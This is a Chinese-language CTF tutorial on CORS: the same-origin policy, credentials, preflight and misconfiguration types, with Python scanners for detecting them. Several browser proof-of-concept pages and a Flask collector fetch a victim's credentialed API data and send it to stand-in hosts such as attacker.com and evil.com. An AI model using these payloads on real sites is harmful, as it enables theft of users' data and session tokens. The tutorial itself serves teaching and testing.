CORS基础
CORS基础
本文适合
CTF Web安全入门学习者。学完你能:理解 CORS 的核心概念和基本用法
CORS 是 Cross-Origin Resource Sharing,跨源资源共享。它决定浏览器中的脚本能不能读取另一个源的响应。
同源策略
浏览器有同源策略。
源由协议、域名和端口组成。
例如:
https://a.example.com:443页面脚本默认不能随便读取其他源的响应内容。
同源策略限制的是浏览器脚本读取响应,不是限制服务器之间通信。
CORS 做什么
CORS 是服务器告诉浏览器:哪些外部源可以读取我的响应。
常见响应头:
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true如果配置错误,攻击者网站上的脚本可能读取受害者在目标站点的敏感响应。
凭据请求
如果请求携带 Cookie、HTTP 认证或客户端证书,就属于带凭据请求。
要允许前端读取带凭据响应,服务端通常需要:
Access-Control-Allow-Credentials: true同时 Access-Control-Allow-Origin 不能简单使用 *。
CTF 中常见错误是服务端反射任意 Origin,并允许 credentials。
预检请求
复杂跨源请求前,浏览器会先发送 OPTIONS 预检请求。
预检会询问服务端是否允许方法、Header 和来源。
如果只看实际 GET 或 POST,可能漏掉 CORS 行为。
CORS 和 CSRF 的区别
CSRF基础 关注攻击者能不能让浏览器发请求。
CORS 关注攻击者网页上的脚本能不能读取响应。
即使没有 CORS,CSRF 请求也可能发出去,只是攻击者读不到响应。
如果 CORS 配错,攻击者可能既能发请求又能读数据。
CORS 错误配置类型
类型1: 反射任意 Origin
# 请求
Origin: https://evil.com
# 响应 (危险)
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true服务端把请求中的 Origin 原样反射到响应头,任何网站都能读取带凭据的响应。
# 检测脚本
import requests
def test_origin_reflection(url):
"""测试 Origin 反射"""
origins = [
"https://evil.com",
"https://attacker.com",
"null",
]
for origin in origins:
headers = {"Origin": origin}
resp = requests.get(url, headers=headers)
acao = resp.headers.get("Access-Control-Allow-Origin", "")
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
print(f"Origin: {origin}")
print(f" Allow-Origin: {acao}")
print(f" Allow-Credentials: {acac}")
if acao == origin and acac.lower() == "true":
print(f" [!] 存在 CORS 错误配置!")
elif acao == "*":
print(f" [*] 使用通配符 (不允许凭据)")
else:
print(f" [*] 未反射")
# 使用示例
# test_origin_reflection("http://target.com/api/userinfo")类型2: 通配符 Origin 与凭据
# 危险配置
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true浏览器规范不允许 * 和 true 同时存在,但某些实现可能接受。
类型3: 前缀/后缀匹配
服务端检查 Origin 是否以 trusted.com 结尾
攻击者使用 evil-trusted.com 绕过
服务端检查 Origin 是否包含 trusted.com
攻击者使用 trusted.com.evil.com 绕过类型4: null Origin
Origin: null
# 某些服务端允许 null Origin
Access-Control-Allow-Origin: null<!-- 利用 null Origin 的攻击页面 -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
// sandbox iframe 的 Origin 为 null
fetch('https://target.com/api/data', {credentials: 'include'})
.then(r => r.text())
.then(data => {
// 发送到攻击者服务器
fetch('https://attacker.com/collect?data=' + btoa(data));
});
</script>"></iframe>预检请求详解
对于"非简单"跨域请求,浏览器会先发送 OPTIONS 预检请求:
# 预检请求
OPTIONS /api/data HTTP/1.1
Host: target.com
Origin: https://attacker.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization
# 预检响应
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400def send_preflight(url, origin, method="PUT", headers="Content-Type"):
"""发送预检请求"""
req_headers = {
"Origin": origin,
"Access-Control-Request-Method": method,
"Access-Control-Request-Headers": headers,
}
resp = requests.options(url, headers=req_headers)
print(f"Status: {resp.status_code}")
for h in resp.headers:
if h.lower().startswith("access-control"):
print(f" {h}: {resp.headers[h]}")
return resp完整利用示例
<!-- 攻击者页面 evil.com 上的代码 -->
<script>
// 步骤1: 发送带凭据的跨域请求
fetch('https://target.com/api/userinfo', {
credentials: 'include', // 携带 Cookie
method: 'GET'
})
.then(response => response.json())
.then(data => {
// 步骤2: 把数据发送到攻击者服务器
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script># 攻击者服务器 (attacker.com)
from flask import Flask, request
app = Flask(__name__)
@app.route('/collect', methods=['POST'])
def collect():
data = request.get_json()
print(f"[!] 窃取到数据: {data}")
return "ok"
# 收集到的数据可能包含:
# - 用户个人信息
# - API 密钥
# - 会话令牌
# - 敏感业务数据CORS 检测自动化
import requests
from urllib.parse import urlparse
def cors_scan(url):
"""CORS 错误配置扫描"""
results = []
# 测试1: 反射任意 Origin
test_origins = [
"https://evil.com",
"https://attacker.site",
"null",
]
for origin in test_origins:
headers = {"Origin": origin}
try:
resp = requests.get(url, headers=headers, timeout=5)
acao = resp.headers.get("Access-Control-Allow-Origin", "")
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
if acao == origin:
results.append(f"[!] Origin 反射: {origin}")
if acac.lower() == "true":
results.append(f" [!!] 允许凭据 - 高危!")
except:
pass
# 测试2: 通配符
headers = {"Origin": "https://anything.com"}
try:
resp = requests.get(url, headers=headers, timeout=5)
if resp.headers.get("Access-Control-Allow-Origin") == "*":
results.append("[*] 使用通配符 Origin")
except:
pass
# 测试3: 子域名信任
parsed = urlparse(url)
base_domain = ".".join(parsed.hostname.split(".")[-2:])
test_origins_sub = [
f"https://evil.{base_domain}",
f"https://{base_domain}.evil.com",
f"https://evil-{base_domain}",
]
for origin in test_origins_sub:
headers = {"Origin": origin}
try:
resp = requests.get(url, headers=headers, timeout=5)
acao = resp.headers.get("Access-Control-Allow-Origin", "")
if acao == origin:
results.append(f"[!] 子域名绕过: {origin}")
except:
pass
return results
# 使用示例
# results = cors_scan("http://target.com/api/data")
# for r in results: print(r)常见误区
- 以为 CORS 是服务端访问控制。
- 看到
Access-Control-Allow-Origin: *就认为一定有漏洞。 - 忽略 credentials。
- 不区分能发请求和能读响应。
- 不看 Origin 反射行为。
一句话判断
攻击者网页能以受害者浏览器身份请求目标站,并且目标响应允许攻击者源读取敏感内容时,就按 CORS 错误配置分析。
CORS 漏洞关注的是"跨源脚本能不能读响应",不是"能不能发请求"。能发请求是浏览器本来就允许的,能读敏感响应才危险。
题目中常见信号
- API 响应带
Access-Control-Allow-Origin。 - 服务端把请求里的
Origin原样反射。 - 同时出现
Access-Control-Allow-Credentials: true。 Origin: null被允许。- 白名单只做 contains、startsWith 或 endsWith 判断。
- 敏感接口依赖 Cookie 登录态。
- 前端报错提示 CORS,但后端响应头可控。
核心概念
CORS 由浏览器执行。服务端返回 CORS 响应头后,浏览器决定是否允许页面脚本读取响应。
高危组合通常是:
攻击者 Origin 被允许
+ Access-Control-Allow-Credentials: true
+ 敏感接口依赖 Cookie
= 攻击者页面可读取受害者敏感数据Access-Control-Allow-Origin: * 对无凭据公开资源不一定是漏洞;它和敏感数据、凭据、Origin 反射结合时才有实际风险。
最小分析流程
- 找敏感 API,例如
/api/userinfo、/api/token、/api/private。 - 带
Origin: https://evil.com请求接口。 - 检查
Access-Control-Allow-Origin是否反射 evil.com。 - 检查
Access-Control-Allow-Credentials是否为 true。 - 如果是复杂请求,发送 OPTIONS 预检。
- 用浏览器 PoC 验证
fetch(..., {credentials:"include"})能否读响应。 - 把读取到的数据外带到攻击者服务。
最小验证示例
命令行先看响应头:
curl -i 'https://target/api/userinfo' \
-H 'Origin: https://evil.com' \
-H 'Cookie: session=abc'危险响应:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true浏览器 PoC:
<script>
fetch("https://target/api/userinfo", {credentials: "include"})
.then(r => r.text())
.then(x => fetch("https://attacker.example/log", {method: "POST", body: x}));
</script>只有浏览器真的允许读取响应并外带,才算完成利用验证。
常见利用 / 解题路线
路线总览:
路线一:任意 Origin 反射
Origin: https://evil.com
-> ACAO: https://evil.com
-> ACAC: true
-> fetch 读取敏感接口路线二:null Origin
sandbox iframe / data URL 产生 Origin: null
-> 服务端允许 null
-> 读取响应路线三:白名单匹配绕过
trusted.com.evil.com
evil-trusted.com
evil.com?trusted.com根据服务端匹配方式构造 Origin。
路线四:预检放行危险 Header
OPTIONS 允许 Authorization / X-Api-Key / PUT
-> 正式请求携带敏感 Header常见失败原因
- 把能发请求当漏洞:没有 CORS 时 CSRF 请求也能发,只是读不到响应。
- 忽略 credentials:没有 Cookie 或认证信息,读到的可能只是游客数据。
- 只用 curl 不用浏览器验证:CORS 是浏览器策略,最终要用页面脚本验证。
- 误判通配符:
*不能和凭据请求正常配合。 - 预检失败:复杂请求需要 OPTIONS 也被允许。
- SameSite Cookie 不携带:跨站请求未带 Cookie 时读不到受害者数据。
迷你案例
目标接口:
/api/me测试:
curl -i 'https://target/api/me' -H 'Origin: https://evil.com'响应:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true攻击页面:
<script>
fetch("https://target/api/me", {credentials:"include"})
.then(r => r.json())
.then(d => fetch("https://evil.com/collect", {
method:"POST",
body: JSON.stringify(d)
}));
</script>如果受害者访问后攻击者收到用户资料,漏洞根因就是 CORS 反射任意 Origin 并允许凭据。